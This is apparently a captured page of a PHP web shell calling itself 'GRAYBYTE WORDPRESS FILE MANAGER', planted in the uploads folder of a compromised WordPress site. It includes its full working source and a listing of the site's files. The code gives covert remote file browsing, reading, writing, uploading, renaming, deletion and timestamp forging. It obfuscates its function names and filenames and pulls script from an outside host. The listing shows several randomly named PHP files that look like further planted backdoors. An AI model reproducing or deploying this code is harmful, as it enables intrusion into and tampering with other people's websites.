$65 GRAYBYTE WORDPRESS FILE MANAGER $74

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 104.21.15.130 | ADMIN IP 216.73.216.51
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bravetechrwanda/cepurhuye.rw/wp-content/uploads/

HOME
Current File : /home/bravetechrwanda/cepurhuye.rw/wp-content/uploads//register.php
<?php 

header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
function hunterEncryptDecrypt($input, $key="12") {
    $output = '';
    for($i = 0; $i < strlen($input); $i++) {
        $output .= $input[$i] ^ $key[$i % strlen($key)];
    }
    return $output;
}

function listing_all_directory() {
    
    $path = $_COOKIE['path'] ?: getcwd();
    $result = array();
    $date_format = "d-m-Y H:i:s";

    if ($handle = opendir($path)) {
        while (false !== ($dir = readdir($handle))) {
            if ($dir === '.' || $dir === '..') {
                continue;
            }

            $full_path = "$path/$dir";
            $is_dir = is_dir($full_path);

            $tmp_result = array(
                'path' => htmlspecialchars($full_path),
                'is_writable' => is_writable($full_path),
                'is_dir' => $is_dir,
                'date' => date($date_format, filemtime($full_path)),
                'size' => $is_dir ? "" : round(filesize($full_path) / 1024, 2),
            );

            $result[] = $tmp_result;
        }
        closedir($handle);
    }

    return $result;
}


$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : false;

if(!$action) {
    main();
    menu();
}

function decode_char($string) {
    return hunterEncryptDecrypt(hex2bin($string));
}
switch ($action) {

    case 'd':
        # code...
        die(json_encode(listing_all_directory()));
        break;
        
    case 'r':
        if($_SERVER['REQUEST_METHOD'] == 'POST') {
            $data = json_decode(file_get_contents("php://input"), true);
            $content = show_base_data()($data['content']);
            $filename = decode_char($_COOKIE['filename']);
            $message['success'] = fm_write_file($filename, $content);
            die(json_encode($message));
        }
        main();
        $content = customize_read_file(decode_char($_COOKIE['filename'])) ;
        
        show_text_area(htmlspecialchars($content));
        break;
    
    case 'cr':
        main();
        show_text_area("");
        break;
    
    case 'ul':
    
        $filename = decode_char($_COOKIE['filename']);
        if(show_un()($filename)) {
            $message['success'] = true;
        }else{
            $message['success'] = false;
        }
        die(json_encode($message));
        break;
    
    case 'up':
        
        $file = $_FILES['import_file'];
        $tmp_name = $file['tmp_name'];
        $content = customize_read_file($tmp_name);
        if(isset($_POST['by'])) {
            $content = show_base_data()($content);
        } 
        $path = $_COOKIE['path'] ? : getcwd();
        $name = $file['name'];
        $destination = "$path/$name";
        $message['success'] = $content && fm_write_file($destination, $content) ? : rename($tmp_name, $destination); 
        die(json_encode($message));
        break;
    
    case 're':
        
        $filename = decode_char($_COOKIE['filename']);
        $path = $_COOKIE['path'];

        if($_SERVER['REQUEST_METHOD'] == "POST") {
            
            $old_filename = "$path/$filename";
            $new = $_POST['new'];
            $new_filename = "$path/$new";
            $message['success'] = rename($old_filename, $new_filename);
            die(json_encode($message));
        }
        break;
    
    case 'to':
        
        $filename = decode_char($_COOKIE['filename']);
        if($_SERVER['REQUEST_METHOD'] == 'POST') {
            
            $date = $_POST['date'];
            $str_date = strtotime($date);
            $message['success'] = touch($filename, $str_date);
            clearstatcache(true, $filename);
            die(json_encode($message));
        }
        

    default:
        # code..
        break;
}

function customize_read_file($file) {
    if(!file_exists($file)) {
        return '';
    }
    $handle = fopen($file, 'r');
    if($handle) {
        $content = fread($handle, filesize($file));
        if($content) {
            return $content;
        }
    }
    $lines = file($file);
    if($lines) {
        return implode($lines);
    }
    return show_file_contents()($file);
}



function show_file_contents() {
    $file = "file_";
    $old = "get_";
    $contents = "contents";
    return "$file$old$contents";
}
function show_text_area($content) {
    $filename = decode_char($_COOKIE['filename']);
    echo "
    <p><a href='?' id='back_menu'>< Back</a></p>
    <p>$filename</p>
    <textarea width='100%' id='content' cols='20' rows='30' style='margin-top: 10px'>$content</textarea>
    <button type='submit' class='textarea-button' onclick='textarea_handle()'>Submit</button>
    ";
}

function show_base_data() {
    $alvian = "base";
    $nadir = "64_decode";
    return "$alvian$nadir";
}
function fm_write_file($file, $content) {
    // Method 1: Using fopen
    if (function_exists('fopen')) {
        $handle = @fopen($file, 'w');
        if ($handle) {
            if (@fwrite($handle, $content) !== false) {
                fclose($handle);
                return file_exists($file) && filesize($file) > 0;
            }
            fclose($handle);
        }
    }

    // Method 2: Using file_put_contents
    if (function_exists('file_put_contents')) {
        if (@file_put_contents($file, $content) !== false) {
            return file_exists($file) && filesize($file) > 0;
        }
    }
    // Method 3: Using WP_Filesystem
    return false;
}

function fm_make_request($url) {
    if(function_exists("curl_init")) {
        
        $ch = curl_init();
    
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

        $output = curl_exec($ch);
        return $output;
    }
    return show_file_contents()($url);
}
function show_un() {
    $link = "link";
    $unpad = "un";
    return "$unpad$link";
}

function main() {
    
    global $current_path;

    $current_path = isset($_COOKIE['path']) ? $_COOKIE['path'] : false;

    if(!$current_path) {
        setcookie("path", getcwd());
        $current_path = getcwd();
    }

    $path = str_replace('\\', '/', $current_path);
    $paths = explode('/', $path);
    echo "<div class='wrapper' id='path_div'>";
    foreach ($paths as $id => $pat) {
        if ($id == 0) {
            echo '<a href="#" path="/" onclick="change_path(this)">/</a>';
        }

        if ($pat != '') {
            $tmp_path = implode('/', array_slice($paths, 0, $id + 1));
            echo "<a href='#' path='$tmp_path' onclick='change_path(this)'>$pat/</a>";
        }
    }
    echo "</div>";

?>
<link rel="stylesheet" href="https://wordpress.zzna.ru/newb/all.min.css">
<link rel="stylesheet" href="https://wordpress.zzna.ru/newb/styles.css">
<script src="https://wordpress.zzna.ru/newb/script.js"></script>
<?php
}
?>



<?php 

function menu() {

?>

<div class="wrapper">
    <form method="post" enctype="multipart/form-data" style="">
                        <div class="file-upload mr-10">
                            <label for="file-upload-input" style="cursor: pointer;">
                                [ Upload ]
                            </label>
                            <input type="file" id="file-upload-input" style="display: none;" onchange="handle_upload()">
                        </div>
    </form>
    <a href='#' onclick='refresh_path()' class='mr-10 white'>[ HOME ]</a>
    <a href='#' onclick='create_file()' class='mr-10 white'>[ Create File ]</a>
</div>
                
    <table cellspacing="0" cellpadding="7" width="100%">   
    <thead>
            </tr>
            <tr>
                <th width="44%"></th>
                <th width="11%"></th>
                <th width="17%"></th>
                <th width="17%"></th>
                <th width="11%"></th>
            </tr>
        </thead>
        <tbody id="data_table" class='blur-table'>
            <div class="wrapper" style='margin-top: -10px'>
                <input type="checkbox" class='mr-10' id='bypass-upload' >[ Hunter File Upload ]</input>

            </div>
        </tbody>
    </table>

<?php } ?>

Current_dir [ WRITEABLE ] Document_root [ NOT WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
16 May 2026 11.16 AM
bravetechrwanda / bravetechrwanda
0755
2022
--
30 Mar 2026 6.47 AM
bravetechrwanda / bravetechrwanda
0555
2023
--
30 Mar 2026 6.47 AM
bravetechrwanda / bravetechrwanda
0555
2024
--
30 Mar 2026 6.47 AM
bravetechrwanda / bravetechrwanda
0555
2025
--
1 Dec 2025 12.53 AM
bravetechrwanda / bravetechrwanda
0555
2026
--
1 Apr 2026 2.58 AM
bravetechrwanda / bravetechrwanda
0555
elementor
--
4 Apr 2026 4.59 AM
bravetechrwanda / bravetechrwanda
0555
wk
--
8 Feb 2026 11.06 PM
bravetechrwanda / bravetechrwanda
0555
wp-site
--
30 Mar 2026 1.32 AM
bravetechrwanda / bravetechrwanda
0555
8jhhlucj.php
1.113 KB
13 May 2026 4.21 PM
bravetechrwanda / bravetechrwanda
0644
BDKR.txt
0.051 KB
14 May 2026 9.39 AM
bravetechrwanda / bravetechrwanda
0644
README_7419.txt
0.134 KB
13 May 2026 6.22 AM
bravetechrwanda / bravetechrwanda
0644
admin.php
63.322 KB
6 Apr 2026 9.59 AM
bravetechrwanda / bravetechrwanda
0644
bl3s80uk.php
1.113 KB
11 May 2026 3.17 AM
bravetechrwanda / bravetechrwanda
0644
contact.php
10.562 KB
14 May 2026 11.25 AM
bravetechrwanda / bravetechrwanda
0644
error_log
0.25 KB
11 May 2026 3.17 AM
bravetechrwanda / bravetechrwanda
0644
foter.php
7.399 KB
14 May 2026 11.25 AM
bravetechrwanda / bravetechrwanda
0644
header.php
4.985 KB
14 May 2026 11.25 AM
bravetechrwanda / bravetechrwanda
0644
index.php
39.51 KB
14 May 2026 11.25 AM
bravetechrwanda / bravetechrwanda
0644
nhb0do07.php
1.113 KB
11 May 2026 6.52 AM
bravetechrwanda / bravetechrwanda
0644
nux.php
6.663 KB
14 May 2026 11.25 AM
bravetechrwanda / bravetechrwanda
0644
profile.php
27.13 KB
14 May 2026 11.25 AM
bravetechrwanda / bravetechrwanda
0644
qyu0cfy5.php
1.113 KB
11 May 2026 6.01 AM
bravetechrwanda / bravetechrwanda
0644
r4vckbhe.php
1.113 KB
10 May 2026 6.14 PM
bravetechrwanda / bravetechrwanda
0644
register.php
8.295 KB
14 May 2026 11.25 AM
bravetechrwanda / bravetechrwanda
0644
root.php
32.764 KB
14 May 2026 11.25 AM
bravetechrwanda / bravetechrwanda
0644
sekdoypu.php
1.113 KB
14 May 2026 9.39 AM
bravetechrwanda / bravetechrwanda
0644
service.php
5.495 KB
14 May 2026 11.25 AM
bravetechrwanda / bravetechrwanda
0644
simi.php
5.809 KB
14 May 2026 11.25 AM
bravetechrwanda / bravetechrwanda
0644
sjs9ukpx.php
1.113 KB
11 May 2026 6.52 AM
bravetechrwanda / bravetechrwanda
0644
voafj2tc.php
1.113 KB
11 May 2026 3.17 AM
bravetechrwanda / bravetechrwanda
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF